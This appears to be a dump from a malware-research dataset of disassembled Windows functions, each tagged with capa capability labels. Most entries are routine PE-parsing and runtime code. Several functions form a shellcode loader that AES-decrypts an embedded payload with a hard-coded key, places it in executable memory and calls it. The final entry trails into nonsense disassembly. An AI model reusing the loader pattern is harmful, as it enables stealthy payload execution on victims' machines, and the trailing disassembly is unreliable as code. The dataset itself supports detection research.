joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140013660
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400113d4
movzx eax, al
test eax, eax
jne 0x140013680
mov ecx, 7
call fcn.140011348
nop
mov byte [rsp + 0x20], 0
call fcn.14001135c
mov byte [rsp + 0x21], al
cmp dword [0x14001f8c8], 1
jne 0x1400136a4
mov ecx, 7
call fcn.140011348
nop
jmp 0x1400136fc
cmp dword [0x14001f8c8], 0
jne 0x1400136f7
mov dword [0x14001f8c8], 1
lea rdx, [0x14001b660]
lea rcx, [0x14001b330]
call fcn.1400111ae
test eax, eax
je 0x1400136d8
mov eax, 0xff
jmp 0x140013801
lea rdx, [0x14001b220]
lea rcx, [section..rdata]
call fcn.140011352
mov dword [0x14001f8c8], 2
jmp 0x1400136fc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011334
call fcn.1400112cb
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140013759
mov rcx, qword [rsp + 0x30]
call fcn.14001115e
movzx eax, al
test eax, eax
je 0x140013759
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140026020]
nop
call fcn.1400112fd
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001378d
mov rcx, qword [rsp + 0x38]
call fcn.14001115e
movzx eax, al
test eax, eax
je 0x14001378d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.14001138e
nop
call fcn.1400138b0
mov dword [rsp + 0x28], eax
call fcn.1400112a8
movzx eax, al
test eax, eax
jne 0x1400137ac
mov ecx, dword [rsp + 0x28]
call fcn.14001105a
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400137bb
call fcn.140011398
nop
xor edx, edx
mov cl, 1
call fcn.14001114f
mov eax, dword [rsp + 0x28]
jmp 0x140013801
add rsp, 0x68
ret
Function at 0x180001010
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x188
mov rax, qword [0x180113300]
xor rax, rsp
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x80], rdx
mov qword [rsp + 0x78], rcx
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x180001077
mov qword [rsp + 0x88], 0
jmp 0x1800011d0
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
cmp dword [rax], 0x4550
je 0x1800010b0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x88], rax
jmp 0x1800011d0
mov rdx, qword [rsp + 0x58]
add rdx, 0x18
lea rcx, [rsp + 0x90]
mov r8d, 0xf0
call fcn.180106d20
cmp dword [rsp + 0x100], 0
jne 0x1800010ec
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x88], rax
jmp 0x1800011d0
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x100]
add rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0x1c]
add rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0x24]
add rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rcx + 0x20]
add rax, rcx
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x34], 0
mov eax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x50]
cmp eax, dword [rcx + 0x18]
jae 0x1800011c3
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x38]
mov r8d, dword [rsp + 0x34]
mov eax, dword [rax + r8*4]
add rcx, rax
call fcn.1800fc2ec
cmp eax, 0
jne 0x1800011ae
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov r8d, dword [rsp + 0x34]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x68], rax
jmp 0x1800011c3
jmp 0x1800011b3
mov eax, dword [rsp + 0x34]
add eax, 1
mov dword [rsp + 0x34], eax
jmp 0x180001147
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.1800f9eb0
mov rax, qword [rsp + 0x28]
add rsp, 0x188
ret
Function at 0x1800fb76c
Capabilities:
Parse pe header

Disassembly:
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x1800fb76c
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1800fb7db
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1800fb7db
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1800fb7db
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1800fb7db
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1800fb7db
cmp dword [rcx + 0x84], 0xe
jbe 0x1800fb7db
cmp dword [rcx + 0xf8], 0
je 0x1800fb7db
mov ecx, ebx
call fcn.1800fb6d8
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1800fb910
nop
cmp dword [rbp + 0x20], 0
jne 0x1800fb83c
call fcn.1800ff0b4
cmp eax, 1
jne 0x1800fb82c
xor dl, dl
jmp 0x1800fb836
call fcn.1800ff080
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x1800fb847
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1800fb73c
int3

Function at 0x1800fc4e0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1800fc508
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1800fc508
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1801007f8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180100828
xor eax, eax
jmp 0x1801008eb
mov rbp, rbx
cmp word [rax], si
je 0x18010084d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180100834
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180100830
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180100718
movsxd r14, eax
mov rcx, r14
test eax, eax
jne 0x18010088e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180100821
call fcn.180100a90
mov rdi, rax
test rax, rax
jne 0x1801008a4
xor ecx, ecx
call fcn.1800fe330
jmp 0x180100883
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180100718
test eax, eax
jne 0x1801008d5
mov rcx, rdi
call fcn.1800fe330
jmp 0x1801008df
xor ecx, ecx
call fcn.1800fe330
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004840]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004850]
mov dword [rax], 1
mov rax, qword [0x140004860]
mov dword [rax], 1
mov rax, qword [0x1400047c0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004830]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140004900]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400048e0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400047a0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001430
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
call sym.EVP_CIPHER_CTX_new
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140001489
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x19
mov edx, 1
lea rax, str.Failed_to_create_context_n
mov rcx, rax
call sym.fwrite
mov eax, 0xffffffff
jmp 0x1400015d5
call sym.EVP_aes_256_cbc
mov rdx, rax
mov rax, qword [rbp - 8]
lea rcx, [0x140003020]
mov qword [rsp + 0x20], rcx
lea r9, str.0H0NWANjN7Rh7SiUA47EEpH4z7znsqg
mov r8d, 0
mov rcx, rax
call sym.EVP_DecryptInit_ex
cmp eax, 1
je 0x1400014fc
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x21
mov edx, 1
lea rax, str.Decryption_initialization_failed_n
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.EVP_CIPHER_CTX_free
mov eax, 0xffffffff
jmp 0x1400015d5
mov r9, qword [rbp + 0x10]
lea r8, [rbp - 0xc]
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
mov ecx, dword [rbp + 0x20]
mov dword [rsp + 0x20], ecx
mov rcx, rax
call sym.EVP_DecryptUpdate
cmp eax, 1
je 0x14000155e
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x19
mov edx, 1
lea rax, str.Decryption_update_failed_n
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.EVP_CIPHER_CTX_free
mov eax, 0xffffffff
jmp 0x1400015d5
mov eax, dword [rbp - 0xc]
movsxd rdx, eax
mov rax, qword [rbp + 0x18]
add rdx, rax
lea rcx, [rbp - 0x10]
mov rax, qword [rbp - 8]
mov r8, rcx
mov rcx, rax
call sym.EVP_DecryptFinal_ex
cmp eax, 1
je 0x1400015c1
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x1f
mov edx, 1
lea rax, str.Decryption_finalization_failed_n
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.EVP_CIPHER_CTX_free
mov eax, 0xffffffff
jmp 0x1400015d5
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.EVP_CIPHER_CTX_free
mov edx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x10]
add eax, edx
add rsp, 0x40
pop rbp
ret

Function at 0x1400015db
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x18]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140001644
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x19
mov edx, 1
lea rax, str.Memory_allocation_failed_n
mov rcx, rax
call sym.fwrite
jmp 0x140001685
mov rcx, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x10]
mov rax, qword [rbp - 8]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp - 8]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
call rax
mov rax, qword [rbp - 8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
nop
add rsp, 0x30
pop rbp
ret
Function at 0x14000168b
Capabilities:
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x3e0
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, [rbp - 0x60]
lea rdx, [0x1400040b0]
mov ecx, 0x74
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov qword [rbp + 0x358], 0x3a0
mov rax, qword [rbp + 0x358]
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x350], rax
cmp qword [rbp + 0x350], 0
jne 0x14000171b
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x19
mov edx, 1
lea rax, str.Memory_allocation_failed_n
mov rcx, rax
call sym.fwrite
mov eax, 1
jmp 0x1400017b6
mov rax, qword [rbp + 0x358]
mov ecx, eax
mov rdx, qword [rbp + 0x350]
lea rax, [rbp - 0x60]
mov r8d, ecx
mov rcx, rax
call sym.decrypt_payload
mov dword [rbp + 0x34c], eax
cmp dword [rbp + 0x34c], 0
jns 0x14000178a
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x12
mov edx, 1
lea rax, str.Decryption_failed_n
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sym.free
mov eax, 1
jmp 0x1400017b6
mov eax, dword [rbp + 0x34c]
movsxd rdx, eax
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sym.execute_payload
mov rax, qword [rbp + 0x350]
mov rcx, rax
call sym.free
mov eax, 0
add rsp, 0x3e0
pop rsi
pop rdi
pop rbp
ret

Function at 0x140001ac0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001b30
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400070a4]
mov rbx, rcx
test esi, esi
jle 0x140001c60
mov rax, qword [0x1400070a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001b7b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001c05
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001b60
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001c82
mov rax, qword [0x1400070a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400070a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001c67
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001bfe
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001c10
add dword [0x1400070a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400070a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001bfe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001b88
mov rax, qword [0x1400070a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002220
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140002284
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop word cs:[rax + rax]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x14000227b
test eax, eax
jne 0x14000227b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002260
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400024c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400024d8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400024e0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1400024f0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000253d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002534
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000253f
add rax, 0x28
cmp rax, r9
jne 0x140002520
xor eax, eax
ret

Function at 0x140002540
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400025d0
mov rdx, qword [0x1400047c0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400025be
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400025be
cmp word [rax + 0x18], 0x20b
jne 0x1400025be
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400025d0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400025a9
add rbx, 0x28
cmp rbx, rdi
je 0x1400025d0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400025a0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400025e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400047c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002600
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002608
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002600
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000265d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002654
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002600
add rax, 0x28
cmp rax, r9
jne 0x140002640
xor eax, eax
ret

Function at 0x140002660
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400047c0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000267f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002688
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000267f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400026a0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400047c0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400026c0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400026c8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400026c0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002718
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x14000270f
test rcx, rcx
je 0x1400026c0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002700
xor eax, eax
ret
Function at 0x140002720
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400047c0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000273f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002748
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002760
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400047c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002780
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002788
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002780
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002780
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400027d4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400027e0
add rdx, 0x28
cmp r9, rdx
jne 0x1400027c0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400027f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400047c0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002812
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002820
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002812
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002812
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002812
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002875
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002888
add rdx, 0x28
cmp r10, rdx
jne 0x140002860
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002897
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400028a7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000287e
test ecx, ecx
jg 0x140002890
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x14000720c
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.14000719c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021170]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400205b8]
jmp 0x140007248
cmp qword [rbx + 0x18], rdi
je 0x14000724f
mov rbx, qword [rbx]
test rbx, rbx
jne 0x14000723f
jmp 0x140007269
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x1400205b8]
call fcn.140011c68
lea rcx, [0x140021170]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jnp 0x14003f5ff
inc dword [rbp + 0x2f]
invalid
invalid
push rdi
outsb dx, byte [rsi]
jmp [rsi + 0x6a]
cmp dword [rax - 0x5f], 0x98707bff
call qword [rax - 0x6a004f7a]
mov dword [rdi + 0x754872ff], ebp
xchg byte [rax - 0x50766a01], dh
push qword [rdx + 0x48]
jne 0x14003f647
jmp [rbp + 0x3a]
insd dword [rdi], dx
cmp ch, byte [rbx - 1]
and dword [rdi - 0x6f], 0xc6a3a7ff
cmpsd dword [rsi], dword [rdi]
movabs dword [0x7f8affd8b5b1ffc6], eax
invalid
cmpsd dword [rsi], dword [rdi]
movabs dword [0x7f8affd8b5b1ffc6], eax
movabs dword [0x603364ff5e3460ff], eax
call [rsi + 0x2e]
jmp qword [rax + 0x34]
pop rdx
call qword [rdi + 0x29]
push rbp
jmp qword [rsi + 0x34]
jne 0x14003f6b8
je 0x14003f67b
push qword [rbp + 0x3f]
jne 0x14003f6bd
je 0x14003f67f
push qword [rbp + 0x3f]
jne 0x14003f6c1
jae 0x14003f683
push qword [rcx + 0x39]
jno 0x14003f6bf
insb byte [rdi], dx
jmp [rdx + 0x3a]
push 0x3a
push 0x3a
imul edi, edi, 0x60
push 0xffffffffffffffff
push 0x77ff6b3c
jp 0x14003f697
call qword [rdi + rsi*2 - 0x634e005e]
mov ebx, 0xc8b0c6ff
xchg esp, eax
ja 0x14003f63d
push qword [rcx - 0x39004464]
mov al, 0xc8
dec esi
mov ebp, 0xb0bfffd0
sar bh, 1
mov edi, 0x87ffc8b0
xchg ebx, eax
sar bh, 1
mov edi, 0x87ffc8b0
xchg ebx, eax
inc dword [rbp - 0x520076aa]
mov edi, edi
lodsd eax, dword [rsi]
sahf
